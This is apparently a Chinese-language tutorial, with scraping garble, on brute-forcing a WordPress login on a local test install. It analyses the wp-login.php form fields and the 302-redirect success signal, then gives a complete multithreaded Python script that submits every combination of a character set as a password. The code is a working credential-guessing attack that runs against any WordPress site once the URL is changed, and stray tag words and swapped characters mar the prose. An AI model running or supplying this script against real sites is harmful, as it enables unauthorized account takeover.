搭建了一个本地wordpress,写一个基于多线程异步I/O的暴力破解php
提交错误的表单数据时,查看请求参数python
登陆时发送的cookieweb
通过屡次测试,发现不管是输入正确的密码仍是错误的密码,这些登陆须要提交的参数是不会改变的。而且只要登陆成功,服务器必定会返回包含sessionid的cookie。整理后的发送参数以下:服务器
log:用户名
pwd:密码
wp-submit:Log In(定值)
redirect_to:http://localhost/wordpress/wp-admin
test_cookie:1(定值)cookie
wordpress_test_cookie:WP Cookie check(定值)session
口令集:
暴力破解通常是使用口令字符的所有排列组合,所使用的口令集可以使用itertool模块的笛卡尔积生成方法(product)来生成。固然这样计算开销比较大,适合口令长度比较小的状况。固然也可使用字典,那么就可能须要结合用户信息定制字典。数据结构
数据结构:
使用队列来存储口令集是个很不错的选择,可以极大得下降数据读取的复杂性。多线程
模拟登录:
经过requests模块发送post请求,来模拟登录,发送的参数与cookie依照上面的分析来发送便可。异步
登录:
登录失败,只是本地刷新,因此响应码200。登录成功后,跳转到管理员后台,返回响应码302。ide
优化破解性能:
可以使用异步I/O来进行破解过程的优化,待实现。
# !/usr/bin/env python # -*- coding:utf-8 -*- import requests import sys import itertools import Queue import threading import time class Bruter(object): def __init__(self, user, characters, pwd_len, threads): self.user = user self.found = False # 存放破解结果,破解成功为True,失败为False self.threads = threads print '构建待测试口令队列中...' self.pwd_queue = Queue.Queue() for pwd in list(itertools.product(characters, repeat=pwd_len)): self.pwd_queue.put(''.join(pwd)) self.result = None print '构建成功!' def brute(self): for i in range(self.threads): t = threading.Thread(target=self.__web_bruter) t.start() print '破解线程-->%s 启动' % t.ident while (not self.pwd_queue.empty()): # 剩余口令集判断 sys.stdout.write('\r 进度: 还剩余%s个口令 (每1s刷新)' % self.pwd_queue.qsize()) sys.stdout.flush() time.sleep(1) print '\n破解完毕' def __login(self, pwd): url = 'http://localhost/wordpress/wp-login.php' values = {'log': self.user, 'pwd': pwd, 'wp-submit': 'Log In', 'redirect_to': 'http://localhost/wordpress/wp-admin', 'test_cookie': '1'} my_cookie = {'wordpress_test_cookie': 'WP Cookie check'} r = requests.post(url, data=values, cookies=my_cookie, allow_redirects=False) # 禁用重定向,以便后边判断登录状态 if r.status_code == 302: # 登录状态判断 return True return False def __web_bruter(self): # 破解子线程函数 while not self.pwd_queue.empty() and not self.found: pwd_test = self.pwd_queue.get() if self.__login(pwd_test): self.found = True self.result = pwd_test print '破解 %s 成功,密码为: %s' % (self.user, pwd_test) else: self.found = False if __name__ == '__main__': if len(sys.argv) != 5: print '用法 : cmd [用户名] [密码字符] [密码长度] [线程数]' exit(0) b = Bruter(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv[4])) b.brute() print b.result